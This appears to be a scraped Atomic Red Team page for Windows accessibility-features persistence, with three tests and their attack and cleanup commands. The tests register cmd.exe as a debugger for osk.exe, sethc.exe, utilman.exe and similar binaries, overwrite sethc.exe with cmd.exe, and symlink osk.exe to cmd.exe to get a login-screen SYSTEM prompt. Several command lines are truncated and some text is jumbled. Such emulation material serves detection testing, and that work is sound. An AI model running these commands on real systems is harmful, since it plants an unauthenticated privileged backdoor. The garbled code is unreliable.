

- > T1036
- > T1037.001
- > T1037.002
- > T1037.004
- > T1037.005
- > T1039

- Magnifier: C:\Windows\System32\Magnify.exe
- Narrator: C:\Windows\System32\Narrator.exe
- Display Switcher: C:\Windows\System32\DisplaySwitch.exe
- App Switcher: C:\Windows\System32\AtBroker.exe

Atomic Tests

Processes

Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target

Atomic Test #2 - Replace binary of sticky keys

Atomic Test #3 - Create Symbolic Link From osk.exe to cmd.exe

Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target Processes

Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.

Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.

Supported Platforms: Windows

Description

auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9

Type

Inputs:

Name

| parent_list | Comma separated list of system binaries to which you want to attach each # {attached_process}. Default: "osk.exe" | String | osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe |
|-------------|---|--------|---|

Default Value

```
Full path to process to attach attached_process to target in # Path C:\windows\system32\cmd.ex {parent_list}.

Default: cmd.exe
```

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

```
$input_table = "#{parent_list}".split(",")
$Name = "Debugger"
$Value = "#{attached_process}"
                                                                                    Q
Foreach ($item in $input_table){
 $item = $item.trim()
  $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File E>
  IF(!(Test-Path $registryPath))
    New-Item -Path $registryPath -Force
    New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType S1
  }
  ELSE
  {
    New-ItemProperty -Path $registryPath -Name $name -Value $Value
  }
}
```

Cleanup Commands:

```
$input_table = "#{parent_list}".split(",")
Foreach ($item in $input_table)
{
    $item = $item.trim()
    reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
}
```

Atomic Test #2 - Replace binary of sticky keys

```
Replace sticky keys binary (sethc.exe) with cmd.exe

Supported Platforms: Windows

auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
```

```
IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.e
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
```

Cleanup Commands:

copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe

Atomic Test #3 - Create Symbolic Link From osk.exe to cmd.exe

Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.

Supported Platforms: Windows

auto_generated_guid: 51ef369c-5e87-4f33-88cd-6d61be63edf2

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

```
IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe
```

Cleanup Commands:

```
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe
icacls %windir%\system32\osk.exe /inheritance:d
icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller"
icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t
icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX
icacls %windir%\system32\osk.exe /grant:r Administrators:RX
```